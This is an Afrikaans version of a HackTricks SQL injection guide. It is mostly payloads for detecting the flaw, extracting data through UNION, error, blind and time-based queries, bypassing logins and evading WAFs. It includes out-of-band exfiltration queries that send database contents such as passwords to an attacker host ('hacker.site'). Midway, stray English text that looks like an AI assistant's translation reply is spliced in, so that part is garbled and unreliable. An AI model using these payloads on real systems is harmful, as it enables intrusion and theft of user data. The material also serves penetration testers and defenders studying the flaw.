SQL Injection

Reading time: 24 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Wat is SQL injection?

'n SQL injection is 'n sekuriteitsgebrek wat aanvalleerders toelaat om met databasisnavrae van 'n toepassing te inmeng. Hierdie kwesbaarheid kan aanvalleerders in staat stel om data wat hulle nie behoort te bereik nie te bekyk, wysig, of verwyder, insluitend inligting van ander gebruikers of enige data waartoe die toepassing toegang het. Sulke aksies kan permanente veranderinge aan die toepassing se funksionaliteit of inhoud tot gevolg hê, of selfs die bediener kompromitteer of 'n denial of service veroorsaak.

Opsporing van ingangspunte

Wanneer 'n webwerf weens ongewone bedienerreaksies op SQLi-verwante insette vulnerable to SQL injection (SQLi) blyk te wees, is die eerste stap om te verstaan hoe om data in die navraag te injekteer sonder om dit te ontwrig. Dit vereis die identifisering van die metode om effektief uit die huidige konteks te ontsnap. Hier is 'n paar nuttige voorbeelde:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Dan moet jy weet hoe om die query te regstel sodat daar geen foute voorkom nie. Om die query reg te stel, kan jy data invoer sodat die vorige query die nuwe data aanvaar, of jy kan net jou data invoer en 'n kommentaarsimbool by die einde voeg.

Let wel: as jy foutboodskappe kan sien of verskille kan raaksien wanneer 'n query werk en wanneer dit nie werk nie, sal hierdie fase makliker wees.

Kommentaar

sql
MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Bevestiging met logiese bewerkings

Een betroubare metode om 'n SQL injection kwesbaarheid te bevestig behels die uitvoer van 'n logiese bewerking en die waarneming van die verwagte uitkomste. Byvoorbeeld, 'n GET-parameter soos ?username=Peter wat identiese inhoud oplewer wanneer dit gewysig word na ?username=Peter' or '1'='1 dui op 'n SQL injection kwesbaarheid.

Net so dien die toepassing van wiskundige bewerkings as 'n doeltreffende bevestigingstegniek. Byvoorbeeld, as toegang tot ?id=1 en ?id=2-1 dieselfde resultaat lewer, dui dit op 'n SQL injection.

Voorbeelde wat die bevestiging met logiese bewerkings demonstreer:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Hierdie woordlys is geskep om te probeer bevestig SQLinjections op die voorgestelde wyse:

True SQLi ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

Bevestiging deur tydsmeting

In sommige gevalle sal jy geen verandering op die bladsy wat jy toets opmerk nie. Daarom is 'n goeie manier om discover blind SQL injections te ontdek om die DB opdragte te laat uitvoer wat 'n invloed op die tyd wat die bladsy neem om te laai sal hê.
Daarom gaan ons in die SQL query concat gebruik om 'n operasie in te sluit wat baie tyd sal neem om te voltooi:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

In sommige gevalle sal die sleep functions nie toegelaat word nie. In plaas daarvan om daardie functions te gebruik, kan jy die query laat komplekse operasies uitvoer wat 'n paar sekondes sal neem. Voorbeelde van hierdie tegnieke word apart vir elke tegnologie bespreek (indien van toepassing).

Identifisering van Back-end

Die beste manier om die back-end te identifiseer is deur te probeer om functions van die verskillende back-ends uit te voer. Jy kan die sleep functions van die vorige afdeling gebruik of hierdie een (tabel van payloadsallthethings:

bash
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Also, if you have access to the output of the query, you could make it die weergawe van die databasis laat vertoon.

tip

In die vervolg gaan ons verskillende metodes bespreek om verskillende tipes SQL Injection te misbruik. Ons gebruik MySQL as voorbeeld.

Identifisering met PortSwigger

SQL injection cheat sheet | Web Security Academy

Uitbuiting van Union Based

Opsporing van die aantal kolomme

If you can see the output of the query this is the best way to exploit it.
Eerstens moet ons uitvind watter aantal kolomme die initiële versoek teruggee. Dit is omdat albei queries dieselfde aantal kolomme moet teruggee.
Twee metodes word gewoonlik vir hierdie doel gebruik:

Order/Group by

Om die aantal kolomme in 'n query te bepaal, pas stapsgewys die nommer wat in ORDER BY of GROUP BY klousules gebruik word aan totdat 'n vals reaksie ontvang word. Ten spyte van die verskillende funksies van GROUP BY en ORDER BY binne SQL, kan albei identies gebruik word om die query se kolom-aantal te bepaal.

sql
1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
sql
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Kies meer en meer null-waardes totdat die query korrek is:

sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Jy moet null-waardes gebruik aangesien in sommige gevalle die tipe van die kolomme aan albei kante van die query dieselfde moet wees en null in alle gevalle geldig is.

Haal databasisname, tabelname en kolomname uit

In die volgende voorbeelde gaan ons die name van alle databasisse, die tabelname van 'n databasis en die kolomname van die tabel terugkry:

sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Daar is 'n ander manier om hierdie data in elke databasis te ontdek, maar dit is altyd dieselfde metodologie.

Uitbuiting van verborge Union Based

As die output van 'n query sigbaar is, maar 'n union-based injection onbereikbaar lyk, dui dit op die teenwoordigheid van 'n verborge union-based injection. Hierdie situasie lei dikwels tot 'n blind injection. Om 'n blind injection in 'n union-based een te omskep, moet die uitvoering-query op die backend geïdentifiseer word.

Dit kan bereik word deur blind injection tegnieke te gebruik in kombinasie met die standaardtabelle wat spesifiek is vir jou teiken Database Management System (DBMS). Om hierdie standaardtabelle te verstaan, word dit aanbeveel om die dokumentasie van die teiken DBMS te raadpleeg.

Wanneer die query uitgehaal is, is dit nodig om jou payload aan te pas om die oorspronklike query veilig te sluit. Daarna word 'n union query by jou payload aangeheg, wat die uitbuiting van die nuut-toeganklike union-based injection moontlik maak.

Vir meer omvattende insigte, sien die volledige artikel by Healing Blind Injections.

Uitbuiting van Error based

As jy om een of ander rede die output van die query nie kan sien nie, maar jy kan die error messages sien, kan jy hierdie error messages gebruik om data uit die databasis te ex-filtrate.
Deur 'n soortgelyke vloei as by die Union Based exploitation te volg, kan jy daarin slaag om die DB te dump.

sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Exploiting Blind SQLi

In hierdie geval kan jy nie die resultate van die query of die errors sien nie, maar jy kan onderskei wanneer die query 'n true of 'n false response teruggee omdat daar verskillende inhoud op die bladsy is.
In hierdie geval kan jy daardie gedrag misbruik om die database karakter vir karakter te dump:

sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

Dit is die dieselfde geval as voorheen, maar in plaas daarvan om tussen 'n true/false-reaksie van die query te onderskei, kan jy onderskei tussen 'n error in die SQL-query of nie (miskien omdat die HTTP-server crash). Daarom kan jy in hierdie geval elke keer 'n SQLerror forceer as jy die char korrek raai:

sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Uitbuiting van Time Based SQLi

In hierdie geval is daar geen manier om die respons van die query te onderskei op grond van die konteks van die bladsy nie. Maar jy kan die bladsy langer laat laai as die geraaisde karakter korrek is. Ons het hierdie tegniek reeds voorheen gesien in gebruik om confirm a SQLi vuln.

sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Jy kan stacked queries gebruik om meerdere queries agtereenvolgens uit te voer. Let daarop dat terwyl die daaropvolgende queries uitgevoer word, die resultate nie aan die toepassing teruggestuur word nie. Hierdie tegniek is dus hoofsaaklik nuttig vir blind vulnerabilities, waar jy 'n tweede query kan gebruik om 'n DNS lookup, 'n voorwaardelike fout, of 'n tydvertraging te veroorsaak.

Oracle ondersteun nie stacked queries nie. MySQL, Microsoft en PostgreSQL ondersteun dit: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

As geen ander eksploitasie-metode gewerk het nie, kan jy probeer om die database ex-filtrate die inligting na 'n deur jou beheerde external host. Byvoorbeeld, via DNS queries:

sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Out of band data exfiltration via XXE

sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Geoutomatiseerde Eksploitasie

Kyk na die SQLMap Cheatsheet om 'n SQLi-kwesbaarheid met sqlmap uit te buit.

Tegnologie-spesifieke inligting

Ons het reeds al die maniere bespreek om 'n SQL Injection-kwesbaarheid uit te buit. Vind meer truuks wat van die databasis-tegnologie afhang in hierdie boek:

Of jy sal baie truuks oor: MySQL, PostgreSQL, Oracle, MSSQL, SQLite en HQL vind by https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Outentisering-omseiling

Lys om te probeer om die aanmeldfunksionaliteit te omseil:

Login bypass List

Raw hash outentisering-omseiling

sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Hierdie query demonstreer ’n kwesbaarheid wanneer MD5 met true vir raw output in authentication checks gebruik word, wat die stelsel vatbaar maak vir SQL injection. Aanvallers kan dit uitbuit deur insette te vervaardig wat, wanneer gehash, onverwagte dele van SQL-opdragte produseer en lei tot ongemagtigde toegang.

sql
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Injected hash authentication Bypass

sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Aanbevole lys:

Jy moet elke reël van die lys as username gebruik en as password altyd: Pass1234.
(Hierdie payloads is ook ingesluit in die groot lys wat aan die begin van hierdie afdeling genoem is)

GBK Authentication Bypass

As ' ontsnap word, kan jy %A8%27 gebruik, en wanneer ' ontsnap word sal dit geskep word: 0xA80x5c0x27 (╘')

sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python-skrip:

python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontext)

sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Modify password of existing object/user

Om dit te doen moet jy probeer om 'n nuwe objek te skep met dieselfde naam as die "master object" (waarskynlik admin in die geval van gebruikers) deur iets te wysig:

  • Skep gebruiker met naam: AdMIn (hoof- en kleinletters)
  • Skep 'n gebruiker met naam: admin=
  • SQL Truncation Attack (wanneer daar 'n lengtebeperking in die gebruikersnaam of e-pos is) --> Skep gebruiker met naam: admin [a lot of spaces] a

SQL Truncation Attack

As die databasis kwesbaar is en die maksimum aantal karakters vir gebruikersnaam byvoorbeeld 30 is en jy die gebruiker admin wil naboots, probeer om 'n gebruikersnaam te skep genaamd: "admin [30 spaces] a" en enige wagwoord.

Die databasis sal kontroleer of die ingevoerde gebruikersnaam in die databasis bestaan. Indien nie, sal dit die gebruikersnaam afknip tot die maksimum toegelate aantal karakters (in hierdie geval tot: "admin [25 spaces]") en dan sal dit outomaties al die spasies aan die einde verwyder en binne die databasis die gebruiker "admin" bywerk met die nuwe wagwoord (daar kan 'n fout verskyn maar dit beteken nie dat dit nie gewerk het nie).

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: Hierdie aanval sal nie meer werk soos hierbo beskryf in nuutste MySQL installations nie. Alhoewel vergelykings steeds trailing whitespace as verstek ignoreer, sal die poging om 'n string in te voeg wat langer is as die lengte van 'n veld 'n fout tot gevolg hê, en die invoeging sal misluk. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Voeg soveel ','','' by as wat nodig is om die VALUES statement te verlaat. As 'n vertraging uitgevoer word, het jy 'n SQLInjection.

sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

Die ON DUPLICATE KEY UPDATE clause in MySQL word gebruik om die aksies te spesifiseer wat die databasis moet uitvoer wanneer 'n poging gemaak word om 'n ry in te voeg wat 'n duplikaatwaarde in 'n UNIQUE index of PRIMARY KEY tot gevolg sou hê. Die volgende voorbeeld demonstreer hoe hierdie funksie misbruik kan word om die wagwoord van 'n administratorrekening te wysig:

Example Payload Injection:

'n Injection payload kan soos volg saamgestel word, waar twee rye probeer word om in die users tabel ingevoeg te word. Die eerste ry is 'n lokmiddel, en die tweede ry mik op die e-pos van 'n bestaande administrator met die doel om die wagwoord op te dateer:

sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Hier is hoe dit werk:

  • Die query probeer twee rye invoeg: een vir generic_user@example.com en nog een vir admin_generic@example.com.
  • As die ry vir admin_generic@example.com reeds bestaan, word die ON DUPLICATE KEY UPDATE clause geaktiveer, wat MySQL instrueer om die password veld van die bestaande ry by te werk na "bcrypt_hash_of_newpassword".
  • Gevolglik kan authentication dan probeer word met admin_generic@example.com en die password wat ooreenstem met die bcrypt hash ("bcrypt_hash_of_newpassword" verteenwoordig die nuwe password se bcrypt-hash, wat vervang moet word met die werklike hash van die gewenste password).

Onttrek inligting

Skep 2 rekeninge terselfdertyd

Wanneer jy 'n nuwe user wil skep, is username, password en email nodig:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Gebruik desimale of heksadesimale

Met hierdie tegniek kan jy inligting onttrek deur net 1 account te skep. Dit is belangrik om te weet dat jy niks hoef te comment nie.

Gebruik hex2dec en substr:

sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

If the file is in your local repo:

  • cat src/pentesting-web/sql-injection/README.md
  • less src/pentesting-web/sql-injection/README.md
  • sed -n '1,200p' src/pentesting-web/sql-injection/README.md

If you have a remote git repo:

  • git clone <repo_url> then cat src/pentesting-web/sql-injection/README.md
  • git show HEAD:src/pentesting-web/sql-injection/README.md

If you have a raw HTTP URL:

  • curl -sL <raw_url>/src/pentesting-web/sql-injection/README.md
  • wget -qO- <raw_url>/src/pentesting-web/sql-injection/README.md

Or paste the file contents here and I will translate.

python
__import__('binascii').unhexlify(hex(215573607263)[2:])

Gebruik hex en replace (en substr):

sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection is 'n situasie waar die injectable query nie die een is wat output gee nie, maar die output van die injectable query na die query gaan wat output gee. (From Paper)

Voorbeeld:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Initial bypasses from here

No spaces bypass

No Space (%20) - om te omseil deur alternatiewe vir witruimte te gebruik

sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass deur kommentaar

sql
?id=1/*comment*/and/**/1=1/**/--

Geen witruimte - omseiling deur hakies

sql
?id=(1)and(1)=(1)--

No commas bypass

No Comma - bypass deur OFFSET, FROM en JOIN te gebruik

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Generiese Omseilings

Swartlys met sleutelwoorde - omseil deur gebruik van hoofletters/kleinletters

sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist wat sleutelwoorde case-insensitief gebruik - bypass deur 'n ekwivalente operator te gebruik

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Scientific Notation WAF bypass

Jy kan 'n meer diepgaande verduideliking van hierdie truuk vind in gosecure blog.
Basies kan jy die scientific notation op onverwagte maniere gebruik om die WAF te omseil:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Bypass Column Names Restriction

Eerstens, let daarop dat as die oorspronklike query en die tabel waaruit jy die flag wil uittrek dieselfde aantal kolomme het jy net kan doen: 0 UNION SELECT * FROM flag

Dit is moontlik om toegang tot die derde kolom van 'n tabel te kry sonder om sy naam te gebruik met 'n query soos die volgende: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, dus in 'n sqlinjection sou dit soos volg lyk:

bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Of deur gebruik te maak van die comma bypass:

bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Hierdie truuk is geneem van https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Column/tablename injection in SELECT list via subqueries

As gebruikersinvoer in die SELECT list of tabel/kolom identifiers gekonkateneer word, sal prepared statements nie help nie, omdat bind parameters slegs values beskerm en nie identifiers nie. 'n Algemene kwesbare patroon is:

php
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

Idee vir uitbuiting: inject a subquery into the field position to exfiltrate arbitrary data:

sql
-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

Aantekeninge:

  • Dit werk selfs wanneer die WHERE clause 'n bound parameter gebruik, omdat die identifier list steeds string-concatenated is.
  • Sommige stacks laat jou ook toe om die table name te beheer (tablename injection), wat cross-table reads moontlik maak.
  • Output sinks kan die gekose waarde in HTML/JSON reflekteer, wat XSS of token exfiltration direk vanaf die response toelaat.

Mitigasies:

  • Moet nooit identifiers van gebruikersinvoer saamvoeg nie. Kaart toegelate kolomname na 'n vaste allow-list en citeer identifiers behoorlik.
  • As dynamic table access nodig is, beperk dit tot 'n beperkte stel en los dit server-side op vanuit 'n veilige mapping.

WAF-bypass-voorsteltools

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester

Ander Gidse

Brute-Force-detectielys

Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks